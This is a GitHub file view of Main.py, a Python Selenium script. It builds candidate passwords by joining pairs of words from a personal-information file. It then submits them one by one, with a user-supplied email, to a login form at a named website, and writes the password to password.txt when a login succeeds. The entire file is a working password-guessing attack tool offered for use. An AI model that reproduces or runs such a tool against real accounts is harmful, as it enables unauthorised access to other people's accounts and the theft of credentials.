-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMain.py
More file actions
50 lines (46 loc) · 1.63 KB
/
Copy pathMain.py
File metadata and controls
50 lines (46 loc) · 1.63 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
###
import time
import os
from random import randint
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium import *
def combiner (informations):
liste_Pswds = []
for info in informations :
for info2 in informations[1:] :
liste_Pswds.append (info+info2)
return liste_Pswds
chromedriver = "chromedriver.exe"
chrome_options = webdriver.ChromeOptions()
os.environ["webdriver.chrome.driver"] = chromedriver
file = open("informations.txt", "r")
informations =file.read()
informations =informations.split("\n")
combinaisons = combiner (informations)
username = input("Entrez l'email d'utilisateur :")
for password in combinaisons:
browser = webdriver.Chrome(executable_path=chromedriver , chrome_options=chrome_options)
browser.get("http://achraf-ben-hamou.fr/Login_v1/")
time.sleep(2)
inputElement = browser.find_element_by_xpath("//*[@id='email']")
inputElement.send_keys(username)
inputElement = browser.find_element_by_xpath("//*[@id='pass']")
inputElement.send_keys(password)
inputElement = browser.find_element_by_xpath("//*[@id='myButton']")
inputElement.click()
print("\nje test :",password)
time.sleep(5)
try:
tt = browser.find_element_by_xpath("//*[@id='myButton']")
print("non valide",password)
browser.close()
except:
print("votre mot de pass est :",password)
file ="password.txt"
rrr = open(file, "w")
rrr.write(password)
mmm=input("Tapez pour quiter")
break